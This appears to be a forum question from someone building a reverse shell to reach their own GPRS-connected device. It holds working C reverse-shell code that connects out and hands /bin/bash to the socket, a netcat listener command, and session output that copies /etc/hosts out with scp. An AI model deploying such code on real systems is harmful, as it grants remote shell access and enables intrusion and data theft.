I need to setup a reverse shell in order to connect to a device that is connected to the internet through a GPRS modem.

When special conditions occours, i start this command on a public server with fixed ip

nc -l 65535

then i'll make this code run (now i'm directly connected to the device through a cable for test purposes) (and yes, the fork is useless in this case but i'll need it in my final scenario, so i kept it)

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int reverse_shell()
{
    pid_t p = 0;

    /* fork */
    p = fork();

    if (p == 0)
    {
        char *shell[2];

        int i,fd;
        struct sockaddr_in sin;

        /* open socket */
        fd = socket(AF_INET, SOCK_STREAM, 0);
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr("MY SERVER PUBLIC IP ADDRESS");
        sin.sin_port = htons(65535);

        /* connect! */
        connect(fd, (struct sockaddr *)&sin,sizeof(struct sockaddr_in));

        /* assign three first fd (input/output/err) to open socket */
        for(i=0; i<3; i++)
            dup2(fd, i);

        /* build array */
        shell[0] = "/bin/bash";
        shell[1] = 0;

        /* start the reverse shell */
        if (execve(shell[0], shell, NULL) == -1)
            printf("error\n");

        exit(0);
    }

    return 0;
}

int main()
{
    reverse_shell();
}

The reverse shell is setup but, as you can see, i got no prompt and it's looking a bit confusing.

[root@public-server tmp]# nc -lv 65535
Connection from yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted
cd /etc
ls *hosts*
hosts
hosts.allow
hosts.deny

Plus, i need to use scp but messages keep on appearing on device prompt and not on reverse-connected server

reverse-connected server:

[root@public-server tmp]# nc -lv 65535
Connection from yyy.yyy.yyy.yyy port 65535 [tcp/*] accepted
ls /etc/hosts
/etc/hosts
scp /etc/hosts xxx.xxx.xxx.xxx:/tmp/
Host key verification failed.
lost connection

device prompt:

root@device:/tmp# ./a.out
root@device:/tmp# The authenticity of host 'xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx)' can't be established.
RSA key fingerprint is aa:e6:aa:1d:aa:a5:c2:fd:aa:4c:4f:e7:aa:34:aa:78.
Are you sure you want to continue connecting (yes/no)?

What can i do to fix this and obtain a stable and usable reverse shell?